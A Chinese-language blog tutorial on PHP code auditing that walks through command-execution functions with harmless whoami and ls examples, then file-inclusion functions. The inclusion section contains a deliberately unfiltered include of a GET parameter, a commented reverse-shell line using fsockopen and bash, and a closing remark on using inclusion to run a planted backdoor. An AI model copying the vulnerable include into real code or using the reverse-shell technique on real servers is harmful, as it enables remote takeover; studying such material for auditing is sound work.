PHP代码审计基础(二)

命令执行

说完代码执行,我们再来看看命令执行。常见的命令执行函数有哪些呢?

1. system()

此函数就是执行外部指令,并且显示输出

system( string $command[, int &$return_var] ) : string

参数

  • command:必需。要执行的命令
  • return_var:可选。若设置了这个参数,那么命令执行后的返回状态就会被放到这个变量中

示例代码:

<?php
    $cmd = 'whoami';
    system($cmd);
?>
    
执行结果——>
desktop-jhtfasu\666

2. exec()

这个其实和上面system函数没有太大区别,都是执行外部程序指令,只不过这个函数多了一个参数,可以让我们把命令执行输出的结果保存到一个数组中。

exec( string $command[, array &$output[, int &$return_var]] ) : string

参数

  • command:必需。要执行的命令
  • output:可选。如果设置了此参数,那么命令执行的结果将会保存到此数组。
  • return_var:可选。命令执行的返回状态。
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-jhtfasu\666

3. shell_exec()

此函数通过shell环境执行命令,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,那么就返回NULL

shell_exec( string $cmd) : string

参数

  • cmd:要执行的命令

代码示例:

<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>
    
执行结果——>
desktop-jhtfasu\666

4. passthru()

执行外部程序并且显示原始输出。既然我们已经有执行命令的函数了,那么这个函数我们什么时候会用到呢?当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()system()函数

passthru( string $command[, int &$return_var] ) : void

参数

  • command:要执行的命令
  • return_var:Unix命令的返回状态将被记录到此函数。

代码示例

第一你可以这么写
<?php
    passthru('whoami');	//直接将结果返回到页面
?>
第二你可以这么写
<?php
    passthru('whoami',$result);	//将结果返回到一个变量,然后通过输出变量值得到输出内容
    echo $result;
?>

5. pcntl_exec()

在当前进程空间执行指定程序。关键点就在于进程空间,倘若我现在设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,我们就需要用到这个函数了。

pcntl_exec( string $path[, array $args[, array $envs]] ) : void

参数

  • path:path必须时可执行二进制文件路径或在一个文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
  • args:此参数是一个传递给程序的参数的字符串数组
  • envs:环境变量,这个想必大家都很熟悉,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

示例代码:

//father
<?php
	pcntl_exec('/usr/local/bin/php', ['2.php']);
?>
//son
<?php
    while(true){
    
    
        echo 'ok';
    }
?>

6. popen()

此函数使用command参数打开进程文件指针。如果出错,那么该函数就会返回FALSE。

popen(command,mode)

参数

  • command:要执行的命令
  • mode:必需。规定连接的模式
    1. r:只读
    2. w:只写(打开并清空已有文件或创建一个新文件)

代码示例

<?php
	$file = popen("demo.txt","r");
	pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>

7. proc_open()

此函数执行一个命令,并且打开用来输入或者输出的文件指针

proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) 

此函数其实和popen函数类似,都是执行命令

参数

  • cmd:要执行的命令
  • descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
  • pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到PHP这一段的文件指针。
  • cwd:要执行命令的初始工作目录。必需是绝对路径。此参数默认使用 NULL(表示当前 PHP 进程的工作目录)
  • env。要执行命令所使用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)
  • other_options:可选。附加选项
    • suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的错误。
    • bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell。

其实就是执行命令,只不过其中多了一些选项,包括目录的,环境变量的等。

示例代码:

$descriptorspec = array(
			0 => array("pipe", "r"),	//标准输入,子进程从此管道读取数据
			1 => array("pipe", "w"),	//标准输出,子进程向此管道写入数据
			2 => array("file", "/opt/figli/php/error-output.txt","a")	//标准错误,写入到指定文件
			);
 
 
	$process = proc_open("ls -a", $descriptorspec, $pipes);
 
	if(is_resource($process)){
    
    
 
		echo stream_get_contents($pipes[1]);
		fclose($pipes[1]);
 
		proc_close($process);	//在调用proc_close之前必须关闭所有管道
	}

文件包含

1. include()

include将会包含语句并执行指定文件

include 'filename';

关键点就在于执行指定文件,执行给了我们代码执行的机会。倘若此时我们构造了一个后门文件,需要在目标机器执行进行shell反弹,那么如果代码中有include而且没有进行过滤,那么我们就可以使用该函数来执行我们的后门函数。下面我来演示一下。

示例代码(1.php):

<?php
	highlight_file(__FILE__);
	$file = $_GET['file'];
	include $file;
?>

示例代码(2.php):

<?php
	//这里可以使用PHP来反弹shell,我这里只是演示
	//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
	echo '<br><h1>[*] ni  bei hei le  </h1>';
?>

在这里插入图片描述


2.include_once()

include_onceinclude没有太大区别,唯一的其区别已经在名称中体现了,就是相同的文件只包含一次。其他功能和include_once一样,只是增加对每个文件包含的次数。

3.require()

require的实现和include功能几乎完全相同,那既然一样为什么还要多一个这样的函数呢?

其实两者还是有点区别的,什么区别呢?这么说,如果你包含的文件的代码里面有错误,你觉得会发生什么?是继续执行包含的文件,还是停止执行呢?所以区别就在这里产生了。

require在出错时会导致脚本终止,而include在出错时只是发生警告,脚本还是继续执行。

4.require_once()

这两者关系和includeinclude_once的关系是一样的。

5.总结

文件包含有很多利用手段,其中在实际环境中,例如我们向服务器写入了后门,但是我们无法直接连接服务器,那么如果有文件包含函数,我们可以通过文件包含函数包含执行我们的后门函数,让服务器反弹连接我们。岂不美哉

猜你喜欢

转载自blog.csdn.net/pggril/article/details/123807819
今日推荐